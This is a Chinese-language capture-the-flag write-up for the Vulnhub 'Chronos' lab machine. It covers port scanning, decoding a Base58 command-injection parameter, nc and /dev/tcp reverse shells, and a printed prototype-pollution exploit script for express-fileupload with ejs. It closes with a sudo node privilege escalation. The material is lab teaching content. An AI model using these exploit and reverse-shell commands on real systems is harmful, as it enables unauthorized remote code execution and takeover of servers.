第三台

靶机03

靶机名称:Vulnhub------Chronos

靶机链接:https://www.vulnhub.com/entry/chronos-1,735/

难度:medium(巧妙无比)

打靶目标: 取得 2 个 flag + root 权限

攻击机:Kali Linux

使用工具:CyberChefmasscan、netdiscover

注:由于时间原因和我的懒惰没有固定IP,IP有出入请大佬见谅

这台靶机的漏洞利用方式与构思都十分巧妙,即使是简单的漏洞也需要通过十分巧妙的方式进行利用.同时我们可以学到数据编解码的姿势.

在打靶过程中,难免会遇到不会的内容,这时候我们就要学会利用搜索引擎进行搜索与快速学习,在攻击中成长.

这台靶机用到了CMS漏洞,学习各种CMS与代码审计是十分必要的!

主机发现~新工具netdiscover

锵锵~这次我们再来学习一个新的内网ARP主机发现工具,netdiscover

它的用法很简单,使用sodu netdiscover -r IP/CIDR即可进行一个网段的主机发现

我们使用sudo netdiscover -r 192.168.0.0/16

子网掩码建议在原有基础上减去8使用,由于扫描时使用的是多线程技术,所以我们可以把子网掩码-8,这样虽然扫描范围扩大一倍,但是扫描的线程数更多,速度会更快,效率更高.

当然,就按照原来的子网掩码进行配置也是可以

image-20210914164635265

老样子,我们对靶机进行全端口发现与端口服务扫描

sudo nmap -p- 10.0.0.28

image-20210914183627315

这里再使用nmap查看一下22,80,8000端口开发的指纹信息

image-20210914183646625

发现了两个web页面:

一个是80,采用Apache搭建

一个是8000,采用Node.js Express Framework搭建

Apache我们都很熟悉了,但是Node.js不熟悉啊! 害怕,哭唧唧 😦

咦,怎么全端口扫描这么慢!我们介绍一个新工具,如果只进行端口的发现的扫描,速度非常快!

masscan.此工具内置在kali中,可以直接开箱使用.

sudo masscan -p- 10.0.0.28 --rate=500使用-p-进行全端口扫描,使用--rate指定速度

注意,rate越大速度越快,但是错过端口的概率也随之增高

PS:masscan与nmap在不同情境下扫描的速度均不一样.可能这一次nmap比较快,但是可能下一次masscan反而更快了.

区别在于masscan适用于做不精确的超多目标的少量端口发现,而nmap针对于单目标的准确度会更高!

发现了端口后,我们再使用nmap进行具体的服务扫描

web界面发现

我们先来查看80端口的web服务,发现什么功能都没有!只是文字而已...

image-20210914184517364

我们现在有两个选择,一是进行目录爆破,查找隐藏目录与功能,二是查看当前页面的源代码,看看有没有什么好东西~

我们在Firefox浏览器中使用快捷键Ctrl+u查看页面源代码

image-20210914184652445

仔细查看,发现没有表单等功能,但是有一段嵌入的javascript代码

我们把它拷贝下来

var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

诶呀!为什么js代码这么乱啊!竟然没有缩进、分行.这也太难看了!

别着急,我们使用一款在线工具Cyberchef,这是一款非常强大的工具,其中包含有加解密,代码美化等多种功能

我们在左边的搜索栏搜索Beautify,选择JavaScript Beautify,然后拖动到Recipe中.

我们把杂乱的js代码拷贝到Input中,点击BAKE!,就可以看到美化后的代码啦~

美化后

var _0x5bdf = [
	'150447srWefj',
	'70lwLrol',
	'1658165LmcNig',
	'open',
	'1260881JUqdKM',
	'10737CrnEEe',
	'2SjTdWC',
	'readyState',
	'responseText',
	'1278676qXleJg',
	'797116soVTES',
	'onreadystatechange',
	'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
	'User-Agent',
	'status',
	'1DYOODT',
	'400909Mbbcfr',
	'Chronos',
	'2QRBPWS',
	'getElementById',
	'innerHTML',
	'date'
];
(function (_0x506b95, _0x817e36) {
	var _0x244260 = _0x432d;
	while (!![]) {
		try {
			var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
			if (_0x35824b === _0x817e36)
				break;
			else
				_0x506b95['push'](_0x506b95['shift']());
		} catch (_0x3fb1dc) {
			_0x506b95['push'](_0x506b95['shift']());
		}
	}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
	return _0x432d = function (_0x5bdf82, _0x432dc8) {
		_0x5bdf82 = _0x5bdf82 - 126;
		var _0x4da6e8 = _0x5bdf[_0x5bdf82];
		return _0x4da6e8;
	}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
	var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
	_0x2beb35[_0x17df92(137)] = function () {
		var _0x146f5d = _0x17df92;
		this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
	}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}

js代码分析

虽然经过了美化,代码的逻辑更加清晰了,但是好像大多数的内容都经过了编码,很难看出它在说什么...

俗话说得好,柿子要挑软的捏,我们仔细的看看,虽然许多函数名称都经过了加密,但是在这个数组中,有一串网址特别显眼.

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

我们发现有一串网址是没有经过加密的,而且我们还看到了chronos.local:8000熟悉的主机名,熟悉的端口

我们猜一猜,这前面的一段内容代表什么呢?

chronos就是我们这台靶机的名称,local是本机的意思.看来这个域名指的就是这台靶机它自己啊!

但是有一个小问题,当我们加载页面时,js去执行相关代码,可能会向这个地址发送请求.那么问题来了,由于这段域名是无法解析的,导致无法正常访问8000端口页面,获得内容.这就导致了某些功能加载不完全.这可怎么办!

既然dns解析不出来ip,那我们就替他‘解析’吧

修改/etc/hosts文件,将域名指向靶机的ip地址

sudo vi /etc/hosts 要注意,使用sudo权限进行更改

image-20210914190209113

现在我们再刷新一下页面,看看有没有变化呢~

image-20210914190300095

果然!我们看到了新内容,显示的是我们现在的时间.

既然这样,我们不妨看看在访问页面的过程中进行了哪些操作吧~

打开burp,设置代理.我们查看一下都有哪些请求

image-20210914191013039

可以看到,发送了三个请求包.第一个获取的是根目录,其他两个访问了我们刚才修复的功能

第三个请求包特别有意思,它传递了format参数,并且参数的具体值似乎经过了某种加密

/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

还有一个特殊的地方,我们的请求头被修改为了Chronos,尝试修改请求头,发现返回了Permission Denied.看来这个还挺重要的吗~

我们在burp中点击右键,把它发送到Repeater模块,准备进一步的攻击.

加密&解密

要想对参数进行修改,我们就必须先搞懂这是什么加密.

我们再次使用强大的工具CyberChef对其进行解密

搜索Magic模块,这是一个自动分析数据使用了什么加密方式的分析工具.

image-20210914191327074

分析出来了!是base58!

点击右下角的Base58自动加载模块,进行解密.

有些同学会说:"我直接开始疑惑,base58是什么鬼?我只知道base64啊?"

其实base家族有很多成员,不只是base64,还有base32,base58等

但是他们都有一个共同点,加密是可逆的!

我们就可以通过工具对加密的数据进行解密修改,然后再加密回去,以达到修改数据的目的

扯回来,我们看看结果

'+Today is %A, %B %d, %Y %H:%M:%S.'

看着很眼熟啊!这有点像...像Linux中的date命令!

data '+<formatexp>'进行时间的格式化输出

既然这样,看来这一串数据是会被拼接到date命令后面的.

data <input>

image-20210914193047453

诶~~既然有终端命令,我们不妨试试命令注入吧!

我们在Repeater中修改format为原内容

image-20210914202158833

替换为&&ls的base58编码

image-20210914202308815

验证我们的猜想存在命令执行

那我们就可以执行反弹shell的命令,尝试使用nc来进行反弹shell

尝试执行&&ls /bin命令查看一下是否存在nc

image-20210914202756602

发现存在nc

但是我们不知道nc的版本,不知道它是存在-e的还是没有

我们要进行进一步的测试

&&nc 192.168.0.103 4444

kali上开启4444端口进行监听

image-20210914203322519

发现出现了报错,但是没关系

image-20210914203557646

会看kail发现有回弹,但是无法执行命令

image-20210914203425220

这时我们就可以验证一下是否可以使用nc的-e参数了

&&nc 192.168.0.103 4444 -e /bin/bash

image-20210914203946594

发现nc连最基本的回连都没返回,可以确定这是一个不包含-e参数的版本

这时就可以使用到上一站靶场使用到的nc串联的方式了


同时要开启kali上的4444端口和5555端口

image-20210914204649312

成功返回

执行命令cat /etc/passwd查看一下改台机子上所有的用户账号信息

image-20210914205115814

我们发现这里有个imera用户,我们这里

image-20210914205227503

进入imera目录下,查看目录,发现存在user.txt这个疑似flag的目录

但是只有它本人才能查看.

image-20210914221226086

到这个阶段,我们的目标就很明确了,提权

linux常用三大提权方式:

内核提权,查看内核版本

image-20210914221444262

版本过高,失败

suid提权

image-20210914221559535

失败

当然也没有sudo -l的权限,我们只有www-data的权限,该这么提权了了???

重新开始信息收集,把目标系统中的信息再看一遍

我们使用cat指令查看一下文件内容吧~

image-20210914222735165

查看package.json

//package.json{  "dependencies": {			//依赖的框架和库    "bs58": "^4.0.1",		    "cors": "^2.8.5",    "express": "^4.17.1"  }}

为什么我第一眼要来看它呢?

因为对于nodejs架构来说,几乎每一种架构下都会有package.json,里面写着依赖的库

可以看到bs58,这就是它用来加密传输的算法库

cors不知道,我们先跳过

express,这个就很出名啦!著名的nodejs开发框架.

我们再看看app.js

//app.js
/ created by alienum for Penetration Testing
// 加载了一些库
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
//开放再8000端口,和我们的扫描结果相验证
const port = 8000;
const cors = require('cors');

// 这里进行了一些路由的配置
app.use(cors());
app.get('/', (req,res) =>{
    res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
    // 对数据进行接收
    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    // 提取赋值
    const format = req.query.format;
    // 解码
    const bytes = bs58.decode(format);
    // 还原
    var decoded = bytes.toString();
    // 拼接
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        // 进行判断,但是没有阻止这些数据的提交
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{
        res.send("Permission Denied");
    }
})
app.listen(port,() => {
    console.log(`Server running at ${port}`);
})

简单进行代码审计,在访问/date路径时首先检查了ua(User-agent),果然如之前所猜测的那样,进行了特殊的ua检测,不然就显示Permission Denied.

接下来就是对format参数进行解码,拼接到cmd后进行执行

中间有对关键字的检测,但是只检测,并没有防止指令的执行,这就导致了我们之前虽然输入which nc被拦截,但还是可以使用nc反弹shell.

可惜的是,我们并没有在这里找到提权的有关信息.这可咋整?顶着www-data还能干啥?

哎嘿,但是我们又发现了chronos-v2,有点意思,我们看看

image-20210914224651699

进去后发现这是另外一个web应用

image-20210914224805522

wow,root权限~ 真的是root吗?

我们看看,有前端,后端.肯定看后端啊!

进入后端查看

还是熟悉的操作,熟悉的文件.我们看看package.json吧~

{
  "name": "some-website",
  "version": "1.0.0",
  "description": "",
  "main": "server.js", // 这是服务器端的主程序
  "scripts": {
    "start": "node server.js"  // 启动服务端的应用
  },
    // 下面是一些依赖库的信息
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5", // 嵌入式的JavaScript模板
    "express": "^4.17.1", // 这个版本没有发现有用可利用提取的漏洞
    "express-fileupload": "^1.1.7-alpha.3" // 文件上传功能?
  }
}


我们再去看看主文件

// 调用了一些库,进行开发
// 能找到利用的只有express或者express-fileupload
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));
// 调用了一些模板和文件
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

开放在8080端口?看到这里,我相信你已经不奇怪为什么我们之前没有扫描到这个web服务了

绑定的地址在127.0.0.1,看来这正是为我们在这个时候准备的.希望很大!

此处有一个特殊的设置,app.use(fileupload({ parseNested: true }));

我们都知道,造成漏洞最多的原因就是因为配置错误.我们不妨搜索一下express-fileupload的相关内容

搜索引擎——GIYF

“Google Is Your Friend”

——沃·兹基硕德

大家都说,搜索引擎是渗透测试人员最好的朋友,在渗透的过程中,我们很可能遇到自己不会的内容.这个时候我们就需要通过搜索引擎进行搜索,进行快速地学习,这样才能解决不同的问题.

这种能力是非常重要的!

在百度搜索好像没有太多的内容,

我们去google科学搜索一下吧~

link搜到啦~注意,这个链接需要大家想想办法才可以访问

但是这个页面指向了这个漏洞的发现者的博客,我们去看看!

blog

对这个漏洞的利用需要ejs框架和parseNested开启,这正是我们有的!

看来这个漏洞势在必得!

import requests
LHOST='192.168.0.106'  # Change it 你的kaliIP
LPORT='6666'	# Change it
RHOST='127.0.0.1'	# Change it
RPORT='8080'	# Change it
cmd = 'bash -c "bash -i &> /dev/tcp/'+LHOST+'/'+LPORT+' 0>&1"'
# pollute
requests.post('http://'+RHOST+':'+RPORT, files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://'+RHOST+':'+RPORT)

我们在博客中找到了作者的exp模版,我们进行修改,上传

在kali使用python3 -m http.server 8888开启web(文件传输)服务,

在靶机进入/tmp目录,使用wget http://192.168.0.106:8888/exp.py获取exp.py文件

执行一下,执行之前要在kail上开启6666端口监听

image-20210915213513571

回显成功

image-20210915213710715

发现我们拿到的是刚刚我们查看的imera权限

image-20210915213818645

这个账号有没有管理员权限,我们不知道但是我们在之前发现了一个user.txt的文件

我们查看一下

image-20210915214106365

获得了第一个flag

进入root目录下查看一下

image-20210915214222235

权限拒绝

第二次提权

还是老三样,内核,suid,sudo

我们查看sudo -l 果然发现有可乘之机

image-20210915214339315

我们可以使用root权限在没有密码的情况下运行node,执行javascript文件

这不是手到擒来吗!我们之前使用过python反弹shell,nodejs其实是一样的道理,只是编写shell的语言不同罢了~

sudo node -e "child_process.spawn('/bin/bash',{stdio: [0,1,2]})"

image-20210915214912783

成功提权

image-20210915214953334

彩蛋

不知道你有没有发现,这两个flag都很像我们之前的加密数据.我们试试~

User-flag --base64> o chronos pernaei file mou

Root-flag --base64> apopse siopi mazeuoume oneira

o chronos pernaei file mou->时间过去了我的朋友
apopse siopi mazeuoume oneira->今夜寂静,我们聚梦

参考链接:

  1. https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/

  2. https://blog.p6.is/Real-World-JS-1/

posted @ 2021-10-18 21:02  甘雨小可爱!  阅读(318)  评论(0)    收藏  举报